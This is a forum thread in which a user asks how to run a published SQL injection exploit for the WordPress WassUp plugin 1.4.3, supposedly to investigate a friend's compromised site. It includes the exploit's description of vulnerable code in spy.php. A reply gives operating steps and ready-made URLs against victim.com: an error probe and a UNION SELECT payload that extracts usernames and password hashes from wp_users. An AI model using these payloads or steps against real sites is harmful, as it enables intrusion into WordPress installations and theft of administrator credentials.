Hi there,
My friend's website got compromised. And i'm trying to figure out how. Now he has been using Wordpress, and I found a certain plugin he uses which has a exploit available on the net. Below you will find the exploit.
It seems to me this is PHP language. How can I test this script to see if its the one used to get md5's from his website? I tried saving the script as a php file and uploading it to my website to execute it, but it wont work because I somehow need to provide the parameters like target host and Wordpress directory. I'm lost here, any help would be greatly appreciated.
Thanks a lot in advance.

# WordPress WassUp plugin v 1.4.3 Sql Injection Exploit
#
# Plugin Homepage-http://www.wpwp.org/
#
# Found by:enter_the_dragon
#
# Tested successfully on v 1.4-1.4.3
# (lower versions are possibly vulnerable too just check the source and modify the query as needed)
# Vuln code
#
# -In spy.php
#
# if (isset($_GET['to_date'])) $to_date = htmlentities(strip_tags($_GET['to_date']));
# ...........
# spyview($from_date,$to_date,$rows);
#
# -In main.php
#
# function spyview ($from_date="",$to_date="",$rows="999") {
# ...........
# $qryC = $wpdb->get_results("SELECT id, wassup_id, max(timestamp) as max_timestamp, ip, hostname, searchengine,
# urlrequested, agent, referrer, spider, username, comment_author FROM $table_name WHERE timestamp BETWEEN $from_date AND
# $to_date GROUP BY id ORDER BY max_timestamp DESC");
#
# Exploit
#
# $from_date and $to_date GET variables used in an sql query without being properly filtered so we can inject sql code
# using a query like ./spy.php?to_date=-1 group by id union select 1,2,3,4,5,6,7,8,9,10,11,12 from table
#
# If exploit is successful Wordpress administrator and users logins and md5 hashed passwords are retrieved

I think you need to run it from a CLI.
eg: php file.php target_host wp_path |

It is windows? Then go to php.ini file and find this:
| Code: |
;extension=php_curl.dll
|
Uncomment this entry:
| Code: |
extension=php_curl.dll
|
By the way - this exploit is SO easy ... Why don't you try it directly from browser?
Try this:
| Code: |
http://www.victim.com/wp-content/plugins/wassup/spy.php?to_date=-1+OR
|
Can you see sql error message? If you see error message, then sql injection may be possible.
Then next try this:
| Code: |
http://www.victim.com/wp-content/plugins/wassup/spy.php?to_date=-1+GROUP+BY+id+UNION+SELECT+null,null,null,CONCAT(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null+FROM+wp_users
|
You should see what you are looking for or there will be sql error, if something is wrong. |
